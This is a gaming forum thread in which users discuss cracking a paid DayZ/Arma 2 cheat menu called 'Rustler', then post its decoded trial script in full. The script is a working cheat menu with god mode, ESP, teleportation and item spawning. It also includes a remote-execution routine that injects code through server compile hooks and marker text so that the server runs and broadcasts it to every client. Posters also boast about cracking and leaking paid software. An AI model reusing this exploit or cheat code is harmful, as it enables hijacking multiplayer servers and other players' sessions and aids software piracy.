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  1. #1
    chase1159's Avatar
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    Anyone want to take a shot at decoding rustler's new menu?

    I've got Rustler V4, but it's all in 1 .sqf, and it's encoded.
    I'm not allowed to give it out on here, since there's a chance it could contain advisement.
    If you think you might be able to help, hit me up on Skype: chasethatlefty

    Note: It's the V4 TRIAL. Not the full menu.
    You can also add me if you'd like to try it. It's pretty damn cool, but the RE sucks.
    Quote Originally Posted by chase1159 View Post
    Your friend says that some dude punched a girl on the street. (Kiddie kills innocent/defenseless player)
    Your friend, being the badass that he is, beats up the dude and steals his watch. It's worth $25. (Key seller steals key from douchebag)
    Your friend then says that he has no use for the watch and will sell it to you for $2. (You buy key from seller)
    It's a case of Robin hood.

  2. #2
    iBulle's Avatar
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    Rustler's V3 was allowed on here, not sure as to why V4 wouldn't be.

  3. #3
    aIW|Convery's Avatar
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    Lal, you haven't decoded it yet? o.O

  4. #4
    Vanquish@HH's Avatar
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    I have added you on skype lets have a chat...

  5. #5
    Woodhouse's Avatar
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    Quote Originally Posted by Vanquish@HH View Post
    I have added you on skype lets have a chat...
    You do realize that only reason why your loader and the menu weren't leaked was because we had some tards who didn't know what they were doing and left the advertisements in. If I hadn't been hoping for minion I would have left the upload up and see what Dave would have done because I removed the adverts...

  6. #6
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    Quote Originally Posted by chickeninabiskit View Post
    You do realize that only reason why your loader and the menu weren't leaked was because we had some tards who didn't know what they were doing and left the advertisements in. If I hadn't been hoping for minion I would have left the upload up and see what Dave would have done because I removed the adverts...
    Do you still have it ? :S I want a shot at "decoding" this.

    Skype: MrAlexc921

    Youtube: MrAlexc92

    Stream: MrAlexc





  7. #7
    Vanquish@HH's Avatar
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    You guys have no idea why this got cracked do you...
    Il let you think about it see if you can get your small brains round it.

    Also the trial scripts have nothing in hence being a trial...

  8. #8
    typh0's Avatar
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    Quote Originally Posted by Vanquish@HH View Post
    You guys have no idea why this got cracked do you...
    Il let you think about it see if you can get your small brains round it.

    Also the trial scripts have nothing in hence being a trial...
    if its a trial but the scripts have nothing in them, how is it a trial ?

    Skype: MrAlexc921

    Youtube: MrAlexc92

    Stream: MrAlexc





  9. #9
    Vanquish@HH's Avatar
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    These are not rustler 4.0 scripts...there a cut down version with like 10 shit scripts in it.
    Whole point was to hint the server and advertise.

    Thanks

  10. #10
    Woodhouse's Avatar
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    Quote Originally Posted by Vanquish@HH View Post
    These are not rustler 4.0 scripts...there a cut down version with like 10 shit scripts in it.
    Whole point was to hint the server and advertise.

    Thanks
    In which I removed the server wide advertisements...Your full version of the loader and Rustler will just get cracked and leaked again. I see you mentioning your ToS like it means something. Lying about your age on a common social media site like FB or Twitter breaches their ToS. Cheating/Hacking in Arma 2/DayZ breaches their ToS. Companies like Microsoft can't control leaking/piracy, yours isn't any different. I just thought it was funny that it took little to no effort in the cracking of your software. Maybe you should have invested more effort in recuiting that guy...

  11. #11
    chase1159's Avatar
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    Quote Originally Posted by Vanquish@HH View Post
    These are not rustler 4.0 scripts...there a cut down version with like 10 shit scripts in it.
    Whole point was to hint the server and advertise.

    Thanks
    Hm. I see you've banned me from your website. Guess I'll just make another account, and you won't know the wiser.
    Fuck off twat.
    I feel someone needed to say that.

    What you're doing is ruining the DayZ scripting community.
    I upped my standards, so up yours.
    Quote Originally Posted by chase1159 View Post
    Your friend says that some dude punched a girl on the street. (Kiddie kills innocent/defenseless player)
    Your friend, being the badass that he is, beats up the dude and steals his watch. It's worth $25. (Key seller steals key from douchebag)
    Your friend then says that he has no use for the watch and will sell it to you for $2. (You buy key from seller)
    It's a case of Robin hood.

  12. #12
    IRSpafic's Avatar
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    Quote Originally Posted by chickeninabiskit View Post
    In which I removed the server wide advertisements...Your full version of the loader and Rustler will just get cracked and leaked again. I see you mentioning your ToS like it means something. Lying about your age on a common social media site like FB or Twitter breaches their ToS. Cheating/Hacking in Arma 2/DayZ breaches their ToS. Companies like Microsoft can't control leaking/piracy, yours isn't any different. I just thought it was funny that it took little to no effort in the cracking of your software. Maybe you should have invested more effort in recuiting that guy...
    He tried. I refuse to work with someone as childish as him.
    And I refuse to work with people who make programs in VB...

    Offered my services (Making their loader in C++, basic anti-debugging techniques, code virtualizer, etc. Not uncrackable, but still would be harder than just editing a function. ^.^

    I'd only work with him if I remain anonymous and get paid in BTC.
    Last edited by IRSpafic; 02-19-2013 at 10:14 AM.

  13. #13
    MCDAYZKEY's Avatar
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    LoL Had this cracked in 20 minutes of release...... No i'm not sharing

  14. #14
    IRSpafic's Avatar
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    Quote Originally Posted by MCDAYZKEY View Post
    LoL Had this cracked in 20 minutes of release...... No i'm not sharing
    Not sharing what?

    STrial.sqf
    Code:
    Rustler_RE = 
    {
    	[_this select 0] spawn 
    	{
    		if (isNil "asdasdasd") then
    		{
    			asdasdasd = true;
    			_unit = player;
    			dayzLogin = _unit;
    			publicVariable "dayzLogin";
    			_strH = "dayzLogin2";
    			(createMarker["s3rv3r_0nPl4y3rD1sc0nn3ct",[0,0,0]]) setMarkerText "\z\addons\dayz_server\compile\server_onPlayerDisconnect.sqf";
    			(createMarker["dwardenWhereIsTrigga",[0,0,0]]) setMarkerText "0;object_SetFixServer={if(isServer&&((_this select 4)==0))then{_cd=markerText'respawn_west';call compile _cd;remExField=[nil,nil,_cd];publicVariable'remExField';'respawn_west'setMarkerText'';}else{_this call compile preprocessFileLineNumbers'\z\addons\dayz_code\compile\object_setFixServer.sqf';};};0";
    			_damage = [{[markerText "dwardenWhereIsTrigga","WHEREISPAYL0AD_WHEREISFILTER"] exec markerText "s3rv3r_0nPl4y3rD1sc0nn3ct"}];
    			_unit setVariable [_strH,_damage,true];
    			BIS_MPF_dummygroup = "Sheep";
    			BIS_MPF_logic = BIS_MPF_dummygroup createUnit [[0,0,0], createGroup east, "if (isDedicated) then {{isNil _x} count (dayzLogin getVariable 'dayzLogin2')}", 0.5, "CORPORAL"];
    			sleep 1;
    		};
    
    		"respawn_west" setMarkerText ";"+(_this select 0)+";";
    		dayzSetFix = [0,0,0,player,0];
    		publicVariable "dayzSetFix";
    	};
    };
    
    monitoure = {terminate dayz_slowcheck;
    if (isnil "locdbee") then
    {
    	locdbee = 0;
    };
    if (locdbee == 0) then
    {
       
        i = 0;
    	locdbee = 1;
    	hint parseText format["
        <t size='2.0' color='#5882FA'>Rustle ALL the Jimmies!</t>"];
    	sleep 1;
        
    	while {locdbee == 1} do
    	{
            htmlarray = ['#FF0000','#FF4000','#FF8000','#FFBF00','#FFFF00','#BFFF00','#80FF00','#40FF00','#00FF00','#00FF80','#00FFBF','#00FFFF','#00BFFF','#0080FF','#0040FF','#0000FF','#4000FF','#8000FF','#A901DB','#DF01D7','#DF01A5','#DF0174','#DF013A'];
            if (i < (count htmlarray)) then{i = i + 1;};
            if (i > (count htmlarray) - 1) then {i = 0;};
            if ((0 <= round diag_fps) and (round diag_fps >= 9)) then {fps = "Very Poor"};
            if ((10 <= round diag_fps) and (round diag_fps >= 18)) then {fps = "Poor"};
            if ((19 <= round diag_fps) and (round diag_fps >= 30)) then {fps = "Good"};
            if ((31 <= round diag_fps) and (round diag_fps >= 50)) then {fps = "Great"};
            if ((51 <= round diag_fps) and (round diag_fps >= 100)) then {fps = "Amazing"};
                                                                  
    		debugm0nitor21234 = parseText format["
    		<t size='2.0' font='Zeppelin33' color='#C031C7'>Rustling</t>
    		<t size='2.0' font='Zeppelin33' color='#52D017'>Time</t><br/>
    		<t size='1.15' align='left' color='#FF0033'>  Murders: </t><t size='1.15' align='right'>%3  </t><br/>
    		<t size='1.15' align='left' color='#FF0033'>  Bandits Killed: </t><t size='1.15' align='right'>%4  </t><br/>
     		<t size='1.15' align='left' color='#FF0033'>  Humanity: </t><t size='1.15' align='right'>%7  </t><br/>       
    		<t size='1.15' align='left' color='#FF0033'>  Blood: </t><t size='1.15' align='right'>%5  </t><br/>
    <t size='1.15' align='Center' color='#FE2E2E'>  Current Vehicle: </t><br/>
    <t font='LucidaConsoleB' align='Center' size='1.25' color='%11'>[%10]  </t><br/>
    		<t size='1.4' align='left' color='#FF0033'>  Name: </t><t color='%11' size='1.4' align='right'>%8  </t><br/>
    <t size='1.4' align='center' color='#2ECCFA'>Fps: %9</t><br/>",
    		(player getVariable['zombieKills', 0]),
    		(player getVariable['headShots', 0]),
    		(player getVariable['humanKills', 0]),
    		(player getVariable['banditKills', 0]),
    		(round(player getVariable['USEC_BloodQty', r_player_bloodTotal])),
    		({alive player} count entities 'zZombie_Base'),
    		(player getVariable['humanity', 0]),
    		(player getVariable['bodyName', name player]),
            (fps),
            (gettext (configFile >> 'CfgVehicles' >> (typeof vehicle player) >> 'displayName')),
            (htmlarray select i)];
    		hintSilent debugm0nitor21234;
    		sleep 0.1;
    	};
    }
    
    else
    {
    	locdbee = 0;
        nestedloopOnce = nil;
    
    };
    
    
    };
    
    rustlinginit = {Monky_funcs_inited = nil;
    if (isNil "Monky_funcs_inited") then {
    
    infoe = {if (isNil "qwak") then {qwak = 0;}; if (qwak==0) then {
    disableSerialization;
    qwak = 1;******sandshit = false;call Monky_initMenu;} 
    else {qwak = 0;******sandshit = true;call Monky_initMenu;};};
    
    dmrbby = {hint format["DMR Sniper loadout added     
    Old gear removed."];
    
    removeAllWeapons player;
    removeAllItems player;
    removebackpack player;
    
    player addBackPack "DZ_ALICE_Pack_EP1";
    player addweapon "DMR";
    player selectWeapon "DMR";
    player addMagazine '20Rnd_762x51_DMR';
    player addMagazine '20Rnd_762x51_DMR';
    player addMagazine '20Rnd_762x51_DMR';
    player addMagazine '20Rnd_762x51_DMR';
    player addMagazine '20Rnd_762x51_DMR';
    player addweapon "M9SD";
    player addMagazine "15Rnd_9x19_M9SD";
    player addMagazine "15Rnd_9x19_M9SD";
    player addMagazine "15Rnd_9x19_M9SD";
    player addMagazine "15Rnd_9x19_M9SD";
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addWeapon 'ItemGPS';
    player addWeapon 'NVGoggles';
    player addWeapon 'Binocular_vector';
    player addWeapon 'ItemCompass';
    player addWeapon 'ItemMap';
    player addWeapon 'ItemHatchet';
    player addWeapon 'ItemKnife';
    player addWeapon 'Itemmatchbox';
    player addWeapon 'ItemFlashlight';
    
    bp = unitBackpack player;
    bp addMagazineCargoGlobal ["ItemBloodbag",2];
    bp addMagazineCargoGlobal ["ItemPainkiller",2];
    bp addMagazineCargoGlobal ["ItemAntibiotic",1];
    bp addMagazineCargoGlobal ["ItemMorphine",2];
    bp addMagazineCargoGlobal ["ItemEpinephrine",1];
    bp addMagazineCargoGlobal ["ItemWaterbottle",2];
    bp addMagazineCargoGlobal ["FoodSteakCooked",3];
    bp addMagazineCargoGlobal ["15Rnd_9x19_M9SD",3];
    
    reload player;};
    sawbby = {hint format["M249 SAW & G17 loadout added     
    Old gear removed."];
    
    removeAllWeapons player;
    removeAllItems player;
    removebackpack player;
    
    player addBackPack "DZ_ALICE_Pack_EP1";
    player addweapon "M249_DZ";
    player selectWeapon "M249_DZ";
    player addMagazine '200Rnd_556x45_M249';
    player addMagazine '200Rnd_556x45_M249';
    player addMagazine '200Rnd_556x45_M249';
    player addweapon "glock17_EP1";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addWeapon 'Binocular';
    player addWeapon 'NVGoggles';
    player addWeapon 'ItemGPS';
    player addWeapon 'ItemCompass';
    player addWeapon 'ItemMap';
    player addWeapon 'ItemHatchet';
    player addWeapon 'ItemKnife';
    player addWeapon 'Itemmatchbox';
    player addWeapon 'Itemetool';
    player addWeapon 'Itemtoolbox';
    
    bp = unitBackpack player;
    bp addMagazineCargoGlobal ["ItemBloodbag",2];
    bp addMagazineCargoGlobal ["ItemPainkiller",2];
    bp addMagazineCargoGlobal ["ItemMorphine",2];
    bp addMagazineCargoGlobal ["ItemEpinephrine",1];
    bp addMagazineCargoGlobal ["ItemWaterbottle",2];
    bp addMagazineCargoGlobal ["FoodSteakCooked",3];
    bp addMagazineCargoGlobal ["200Rnd_556x45_M249",1];
    bp addMagazineCargoGlobal ["17Rnd_9x19_glock17",3];
    
    reload player;};
    m4a1bby = {hint format["M4A1 Holo % G17 loadout added     
    Old gear removed."];
    
    removeAllWeapons player;
    removeAllItems player;
    removebackpack player;
    
    player addBackPack "DZ_ALICE_Pack_EP1";
    player addweapon "M4A1_HWS_GL_camo";
    player selectWeapon "M4A1_HWS_GL_camo";
    player addMagazine '30Rnd_556x45_Stanag';
    player addMagazine '30Rnd_556x45_Stanag';
    player addMagazine '30Rnd_556x45_Stanag';
    player addMagazine '30Rnd_556x45_Stanag';
    player addMagazine '30Rnd_556x45_Stanag';
    player addMagazine '30Rnd_556x45_Stanag';
    player addweapon "glock17_EP1";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine "17Rnd_9x19_glock17";
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addMagazine 'ItemBandage';
    player addMagazine '1Rnd_HE_M203';
    player addWeapon 'Binocular';
    player addWeapon 'NVGoggles';
    player addWeapon 'ItemGPS';
    player addWeapon 'ItemCompass';
    player addWeapon 'ItemMap';
    player addWeapon 'ItemHatchet';
    player addWeapon 'ItemKnife';
    player addWeapon 'Itemmatchbox';
    player addWeapon 'Itemetool';
    player addWeapon 'Itemtoolbox';
    player addWeapon 'ItemFlashlight';
    
    bp = unitBackpack player;
    bp addMagazineCargoGlobal ["ItemBloodbag",2];
    bp addMagazineCargoGlobal ["ItemPainkiller",2];
    bp addMagazineCargoGlobal ["ItemMorphine",2];
    bp addMagazineCargoGlobal ["ItemEpinephrine",1];
    bp addMagazineCargoGlobal ["ItemWaterbottle",2];
    bp addMagazineCargoGlobal ["FoodSteakCooked",3];
    bp addMagazineCargoGlobal ["30Rnd_556x45_Stanag",3];
    bp addMagazineCargoGlobal ["17Rnd_9x19_glock17",1];
    
    reload player;};
    
    visp = {if (isnil "vm") then {vm = 0;}; if (vm == 0) then {vm = 1; hint "Vehicle Markers ON";} else {vm = 0; hint "Vehicle Markers OFF";};
    while {vm == 1} do
    {
    	{
    		_vm = str _x;
    		deleteMarkerLocal _vm;
    		_vm = createMarkerLocal [_vm, getPos _x];
    		_vm setMarkerTypeLocal "destroyedvehicle";
    		_vm setMarkerPosLocal getPos _x;
    		_vm setMarkerSizeLocal [0.8, 0.8];
    		_vm setMarkerTextLocal format["%1", getText (configFile >> 'CfgVehicles' >> (typeof _x) >> 'displayName')];
    		if (_x isKindOf "Air") then {_vm setMarkerColorLocal ("ColorBlue");} else {_vm setMarkerColorLocal ("ColorBlack");};
    	} forEach ([6800, 9200, 0] nearEntities [["All", "Air", "Ship"], 11000]);
    	sleep 1;
    };
    {_vm = str _x; deleteMarkerLocal _vm;} forEach ((entities "All") + (entities "Air") + (entities "Ship"));};
    plisp = {if (isnil "pm") then {pm = 0;}; if (pm == 0) then {pm = 1; hint "Player Markers ON";} else {pm = 0; hint "Player Markers OFF";};
    setGroupIconsVisible [true, true];
    while {pm == 1} do
    {
    	{
    		if (getPlayerUID _x != "") then
    		{
    			clearGroupIcons group _x;
    			group _x addGroupIcon ["x_art"];
    			group _x setGroupIconParams [[0, 1, 1, 1], format ["%1 (%2m)", name _x, round (_x distance player)], 0.7, true];
    		};
    	} forEach entities "AllVehicles";
    	sleep 1;
    };
    {clearGroupIcons group _x;} forEach entities "AllVehicles";};
    isp = {isp2 = {disableSerialization;
    if (isNil "BIS_fnc_3dCredits_n") then {BIS_fnc_3dCredits_n = 2733;};
    BIS_fnc_3dCredits_n cutRsc ["rscDynamicText", "PLAIN"];
    BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;
    _ctrl = ((uiNamespace getvariable "BIS_dynamicText") displayctrl 9999);
    _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
    _unit = _this select 0;
    while {(alive _unit) && ((player distance _unit) < xdistance)} do
    {
    	if (xtags == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
    	_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
    	_pos2D = worldToScreen _pos;
    	if (count _pos2D > 0) then
    	{
    		_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
    		_text = parseText format ["<t size='0.35' color='#FF1AAA'>%1 (%2m)</t>", name _unit, round (player distance _unit)];
    		_ctrl ctrlSetStructuredText _text;
    		_ctrl ctrlCommit 0;
    	};
    	sleep 0.05;
    };
    _ctrl ctrlShow false;
    _ctrl ctrlEnable false;};
    
    xdistance = 1200;
    
    if (isNil "xtags") then
    {
    	xtags = 0;
    };
    
    if (xtags == 0) then
    {
    	xtags = 1;
    	hint "ESP ON";
    	_a = [];
    	while {xtags == 1} do
    	{
    		_count = count ((position player) nearEntities [["CAManBase"], xdistance]);
    		{
    			if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > xdistance))) then {_a = _a - [_x];};
    			if ((_x != player) && (getPlayerUID _x != "") && (name _x != "") && !(_x in _a) && ((player distance _x) < xdistance)) then
    			{
    				_a = _a + [_x];
    				[_x] spawn isp2;
    				sleep 1;
    			};
    		} forEach playableUnits;
    		waitUntil {_count != count ((position player) nearEntities [["CAManBase"], xdistance])};
    	};
    }
    
    else
    {
    	xtags = 0;
    	hint "ESP OFF";
    };};
    
    spwnwpn = {player addWeapon _this;
    _mags = getArray (configfile >> 'cfgWeapons' >> _this >> 'magazines');
    _mag = _mags select 0;
    player addMagazine _mag;
    player addMagazine _mag;
    player addMagazine _mag;
    player selectWeapon _this;
    reload player;
    
    titleText [format["%1 Spawned!", _this], "PLAIN DOWN"]; titlefadeout 2;};
    zobisheel = {
    closedialog 0;
    ZobieDistanceStat = false;
    if (isNil "z") then {z = true;} else {z = !z};
     if(z) then {
     zo = 
    [
     ["",true],
     ["Distance", [-1], "", -5, [["expression", "z = false;"]], "1", "1"],  
     ["10", [2], "", -5, [["expression", "Zom=10;ZobieDistanceStat=true;"]], "1", "1"],
     ["20", [3], "", -5, [["expression", "Zom=20;ZobieDistanceStat=true;"]], "1", "1"],
     ["30", [4], "", -5, [["expression", "Zom=30;ZobieDistanceStat=true;"]], "1", "1"],
     ["40", [5], "", -5, [["expression", "Zom=40;ZobieDistanceStat=true;"]], "1", "1"],
     ["50", [6], "", -5, [["expression", "Zom=50;ZobieDistanceStat=true;"]], "1", "1"],
     ["200", [7], "", -5, [["expression", "Zom=200;ZobieDistanceStat=true;"]], "1", "1"],
     ["ServerWide", [8], "", -5, [["expression", "Zom=20000;ZobieDistanceStat=true;"]], "1", "1"], 
     ["Exit", [13], "", -3, [["expression", "z = false;"]], "1", "1"] 
    ];
    
    showCommandingMenu "#USER:zo";
    WaitUntil{ZobieDistanceStat};
    
     titleText [format["Zombie Shield activated with distance %1 meters!",Zom],"PLAIN DOWN"]; titleFadeOut 4;
     } else {
     ZobieDistanceStat=false;
    };
    
     while {z && ZobieDistanceStat} do {
    
    
     _pos = getPos player;
     _zombies = _pos nearEntities ["zZombie_Base",Zom];
     _count = count _zombies;
    
    
     for "_i" from 0 to (_count -1) do
     { 
     _zombie = _zombies select _i; 
     deleteVehicle _zombie;
     RandomHeadshots=round(random 4);
     if (!alive _zombie) then {
     zombiekills = player getVariable["zombieKills",0];
     player setVariable["zombieKills",zombiekills+1,true];
     If (RandomHeadshots==1) then {
     _headShots = player getVariable["headShots",0];
     player setVariable["headShots",_headShots+1,true]
     };
     };
     };
     };
     titleText ["Zombie Shield deactivated!","PLAIN DOWN"]; titleFadeOut 4;};
    
    teepee = {
    titleText ["ALT+CLICK ON MAP TO TP","PLAIN DOWN"];titlefadeout 4;
    player setVariable ["lastPosition", monky];
    player setVariable ["lastTimes", monky];
    
    if !("ItemMap" in items player) then {player addWeapon "ItemMap"};
    
    (findDisplay 46) displayAddEventHandler ["KeyDown", "altstate = _this select 4"];
    ((findDisplay 12) displayCtrl 51) ctrlAddEventHandler ["MouseButtonDown", "if (((_this select 1) == 0) && altstate) then
    {
    	_monkypos = (_this select 0) posScreenToWorld [_this select 2, _this select 3];
    	[_monkypos] spawn monkytp;
    };"];
    
    monkytp =
    {
    	_monkypos = (_this select 0);
    	if (vehicle player == player) then
    	{
    		_monkyboat = "PBX" createVehicleLocal _monkypos;
    		player moveInDriver _monkyboat;
    		deleteVehicle _monkyboat;
    		openMap [false, false];
    	}
    
    	else
    	{
    		_monkyboat = "PBX" createVehicleLocal _monkypos;
    		hideObject _monkyboat;
    		if (vehicle player isKindOf "Air") then {vehicle player attachTo [_monkyboat, [0, 0, 200]];} else {vehicle player attachTo [_monkyboat, [0, 0, 1]];};
    		openMap [false, false];
    		sleep 0.5;
    		detach vehicle player;
    		deleteVehicle _monkyboat;
    	};
    };};
    ammoedoe = {
    _weapon = currentWeapon player;
    _mags = getArray(configfile >> 'cfgWeapons' >> _weapon >> 'magazines');
    _mag = _mags select 0;
    player addMagazine _mag;
    player addMagazine _mag;
    player addMagazine _mag;};
    
    ihatelife = {if (alive player) then { player setdamage 1;};};
    
    heel = {
    titleText ["HEALED","PLAIN"]; titlefadeout 3;
    player setDamage 0;
    r_player_handler = false;
    r_player_handler1 = false;
    r_player_dead = false;
    r_player_unconscious = false;
    r_player_infected = false;
    r_player_injured = false;
    r_player_inpain = false;
    r_player_loaded = false;
    r_player_cardiac = false;
    r_fracture_legs = false;
    r_fracture_arms = false;
    r_player_blood = 12000;
    r_player_lowblood = false;
    r_player_timeout = 0;
    r_handlerCount = 0;
    dayz_hunger = 0;
    dayz_thirst = 0;
    dayz_temperatur = 42;};
    raingie = {
    if (isNil "rangelol") then
    {
    	rangelol = 0;
    };
    
    if (rangelol == 0) then
    {
    	rangelol = 1;
    	hint "VIEW RANGE ON";
    	setterraingrid 50;
    }
    
    else
    {
    	rangelol = 0;
    	hint "VIEW RANGE OFF";
    	setterraingrid 25;
    };};
    
    glueallnigga = {_veh = nearestobjects [vehicle player, ["AllVehicles"], 20000];
    if (isNil "toggul") then {toggul = 0;}; if (toggul == 0) then 
    {
    	toggul = 1;
    	titleText ["All Vehicles Glued.","PLAIN DOWN"];titlefadeout 4;
    	{
    		_x attachTo [vehicle player,[(-(random 30) + (random 45)), (-(random 30) + (random 45)), (random 10)]];
    	} forEach _veh;
    }
    else
    {
    	{
    		detach _x;
    	} forEach _veh;
    	titleText ["All Vehicles Unglued.","PLAIN DOWN"];titlefadeout 4;
    	toggul = 0;
    };};
    
    
    wetha = {
     
     
    // settings
    _checktime = 3;     //time to check weather states
    _minfog = 0.01;        //minimum fog lvl to activate fog removing (0 = no fog; 1 = 100% fog)
    _minovercast = 0.01;    //minimum overcast lvl to activate clearing sky (0 = clear sky; 1 = storm) 
    _shmess = false;    //show messages (true/false)
    if (isNil "wl") then {wl = true;} else {wl = !wl;};
    if (wl and _shmess) then {titleText ["Weather Lord activated...","PLAIN DOWN"];titleFadeOut 4;};
    if (!wl and _shmess) then {titleText ["Weather Lord deactivated...","PLAIN DOWN"];titleFadeOut 4;};
    while {wl} do
    {
        // getting current/default states
     
     
        if (Fog > _minfog) then
        {
            1 setfog 0;
        };
     
     
        if (Overcast > _minovercast) then
        {
            1 setovercast 0;
        };
     
     
     
        sleep _checktime;
    };};
    
    myg0t = {if (isNil "godlol") then
    {
    	godlol = 0;
    };
    
    if (godlol == 0) then
    {
        titleText ["GOD ON", "PLAIN DOWN"]; titlefadeout 3;
    	godlol = 1;
    	hint "GOD ON";
    	player setUnitRecoilCoefficient 0;
    	player_zombieCheck = {};
    	fnc_usec_damageHandler = {};
    	fnc_usec_unconscious  = {};
    	player removeAllEventHandlers "handleDamage";
    	player addEventHandler ["handleDamage", {false}];
    	player allowDamage false;
    	while {godlol == 1} do
    	{
    		vehicle player setVehicleAmmo 1;
    	};
    }
    
    else
    {
        titleText ["GOD OFF", "PLAIN DOWN"]; titlefadeout 3;
    	godlol = 0;
    	hint "GOD OFF";
    	player setUnitRecoilCoefficient 1;
    	player_zombieCheck = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\player_zombieCheck.sqf";
    	fnc_usec_damageHandler = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_damageHandler.sqf";
    	fnc_usec_unconscious = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_unconscious.sqf";
    	player addEventHandler ["handleDamage", {true}];
    	player removeAllEventHandlers "handleDamage";
    	player allowDamage true;
    };};
    
    if (isNil "******sandshit") then { ******sandshit = true;};
    
    disableSerialization;
    
    
    font = "TahomaB";
    
    color_white = [1, 1, 1, 1];
    color_black = [0, 0, 0, 1];
    color_maroon = [0.5, 0, 0.2, 1];
    color_red = [1, 0, 0, 1];
    color_green = [0, 1, 0, 1];
    color_blue = [1, 1, 0, 1];
    color_orange = [0.9, 0.44, 0, 1];
    color_yellow = [0.85, 0.85, 0, 1];
    
    title_dialog = [0, 0.75, 1, 1];
    
    menu_title = [0.3, 0.44, 0.9, 1];
    menu_sub = [0, 1, 1, 1];
    menu_toggle_on = [0, 1, 0.4, 1];
    menu_toggle_off = [1, 0.1, 0.1, 1];
    menu_run = [0.7, 0.9, 0.7, 1];
    menu_disabled = [1, 1, 1, 1];
    if (isNil "Monky_hax_toggled") then {Monky_hax_toggled = [];};
    if (isNil "Monky_hax_toggled_Display") then {Monky_hax_toggled_Display = [];};
    if (isNil "console_show") then {console_show = false;};
    Monky_funcs_inited = true;
    
    isInSub = false;
    Listw = false;
    
    
    Monky_hax_dbclick =
    {
    	_isran = false;
    	
    	_name      = thfile select ((lbCurSel 292901))*7+0;
    	_path      = thfile select ((lbCurSel 292901))*7+1;
    	_istoggle  = thfile select ((lbCurSel 292901))*7+2;
    	_istitle   = thfile select ((lbCurSel 292901))*7+3;
    	_issubmenu = thfile select ((lbCurSel 292901))*7+4;
    	_isplayer  = thfile select ((lbCurSel 292901))*7+5;
    	titleText [format["%1",_name],"PLAIN DOWN"];titlefadeout 3;
    
    	if (_istitle == "1") exitWith {};
    
            if (_issubmenu == "1") then
            {
                    if (_path == "ListGuns") exitWith {if (isNil 'toggle') then {toggle = 0}; if (toggle==0) then {toggle = 1; Listw = true; call Monky_fillPlrs;} else {Listw = false; call Monky_fillPlrs; toggle = nil;};};
                    if (_path == "Vehicles") exitWith {call Monky_fill_Vehicles};
                    if (_path == "Weaponz") exitWith {call Monky_fill_Weapons};
                    if (_path == "Skins") exitWith {call Monky_fill_Skins};
                    if (_path == "BACK") exitWith {call Monky_fillPlrs};
    
            };
    
    	if (isInSub) then
    	{
    		call compile format["%1;", _path];
    		_isran = true;
    	};
    
    	if (_istoggle == "1") then
    	{
    		call compile format["%1;", _path];
    		_isran = true;
    
    		_toggled = lbData [292901, (lbCurSel 292901)];
    		if (_toggled == "nottoggled") then
    		{
    			// Set toggled to true & change color
    			lbSetData [292901, (lbCurSel 292901), "toggled"];
    			lbSetColor [292901, (lbCurSel 292901), menu_toggle_on];
    			Monky_hax_toggled = Monky_hax_toggled + [(lbCurSel 292901)];
    			Monky_hax_toggled_Display = Monky_hax_toggled_Display + [_name];
    
    		}
    
    		else
    		{ 
    			// Set toggled to false & change color
    			lbSetData [292901, (lbCurSel 292901), "nottoggled"];
    			lbSetColor [292901, (lbCurSel 292901), menu_toggle_off];
    			Monky_hax_toggled = Monky_hax_toggled - [(lbCurSel 292901)];
    			Monky_hax_toggled_Display = Monky_hax_toggled_Display - [_name];
    		};
    
    		_ctrl = (findDisplay 2929) displayctrl 292901;
    		_ctrl ctrlCommit 0.01;
    	};
    
    	if (_isplayer == "1") then
    	{
    		if ((lbCurSel 292904) >= 0) then
    		{
    
    		}
    
    		else
    		{
    
    		};
    	};
    
    	if (_isplayer == "0" and !_isran) then {call compile format ["%1;", _path];};
    };
    
    //Fills the main window with list of scripts
    Monky_fillHax =
    {
    	isInSub = false;
    	_ctrl = (findDisplay 2929) displayctrl 292901;
    	lbclear _ctrl;
        _ctrl ctrlSetFont "Zeppelin33";
        _ctrl ctrlSetFontHeight 0.027;
    
    
    	thfile = [];
    
    	thfile = thfile + ["Weapons","Weaponz","0","0","1","0",[]];
    	thfile = thfile + ["Morph","Skins","0","0","1","0",[]];
    	thfile = thfile + ["Show Player Stats","ListGuns","1","0","1","0",[]];
    	thfile = thfile + ["God Mode","[] spawn myg0t;","1","0","0","0",[]];
    	thfile = thfile + ["ESP","[] spawn isp;","1","0","0","0",[]];
    	thfile = thfile + ["Player Markers","[] spawn plisp;","1","0","0","0",[]];
    	thfile = thfile + ["Vehicle Markers","[] spawn visp;","1","0","0","0",[]];
    	thfile = thfile + ["Weather Lord (Local)","[] spawn wetha;","1","0","0","0",[]];
    	thfile = thfile + ["Glue all Entities","[] spawn glueallnigga;","1","0","0","0",[]];
    	thfile = thfile + ["View Range (Local)","[] spawn raingie;","1","0","0","0",[]];
    	thfile = thfile + ["Zombie Shield","[] spawn zobisheel;","1","0","0","0",[]];
    	thfile = thfile + ["Menu Info","[] spawn infoe;","1","0","0","0",[]];
    	thfile = thfile + ["Teleport","[] spawn teepee;","0","0","0","0",[]];
    	thfile = thfile + ["Heal","[] spawn heel;","0","0","0","0",[]];
    	thfile = thfile + ["Suicide","[] spawn ihatelife;","0","0","0","0",[]];
    	thfile = thfile + ["Ammo","[] spawn ammoedoe;","0","0","0","0",[]];
    	thfile = thfile + ["DMR Loadout","[] spawn dmrbby;","0","0","0","0",[]];
